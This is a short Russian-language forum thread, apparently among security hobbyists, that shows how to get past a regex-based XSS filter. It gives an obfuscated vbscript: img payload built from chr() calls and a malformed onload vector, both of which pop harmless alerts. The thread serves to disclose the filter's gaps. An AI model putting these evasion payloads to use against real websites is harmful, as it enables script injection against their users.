1. Мало кто из вас такое видел... ну, посмотрите же.

Фильтрописатель забыл про визуалбейсикскрипт

Совсем забыл

Помнит, правда, про msgbox, но этого мало.
Код:
Filter rule : (mocha|livescript|javascript|behavior|execute|eval|open|window|urlencode)\s*[={}\/():;&\+\-\^\[\|]
PHP код:
'l><img src=vbscript:document.write(chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(97)&chr(108)&chr(101)&chr(114)&chr(116)&chr(40)&chr(39)&chr(76)&chr(101)&chr(118)&chr(101)&chr(114)&chr(79)&chr(110)&chr(101)&chr(39)&chr(41)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62))><o'
Несмотря на перекрытие потока, фильтр пропустит (будет молчать) такой код, потому что
1) не палит псевдо-vbscript
2) фильтру неизвестен способ обфускации через vbs-функцию chr()
Будет работать в IE 6, для IE 7.0 уязвимость будет пассивной: вставляться будет через тег "a".
2.
Сообщение от
Евгений Минаев
Там пробелы, но и с табами тоже.
3. Следующий вариант очень ограничен в применении по причине фиксации в более поздних версиях, но его также следовало бы учесть. Приведу из первоисточника -
ha.ckers.org/xss.html
PHP код:
<BODY onload!#$%&()*~+-_.,:;?@^`=alert("XSS")>
Browser support: [NS8.1-G|FF2.0]
4. Еще знаю несколько способов обхода, потому что автор кое-что не учел, но считаю идеотизмом выкладывать способы, которые катят на более серьезных фильтрах крупных систем.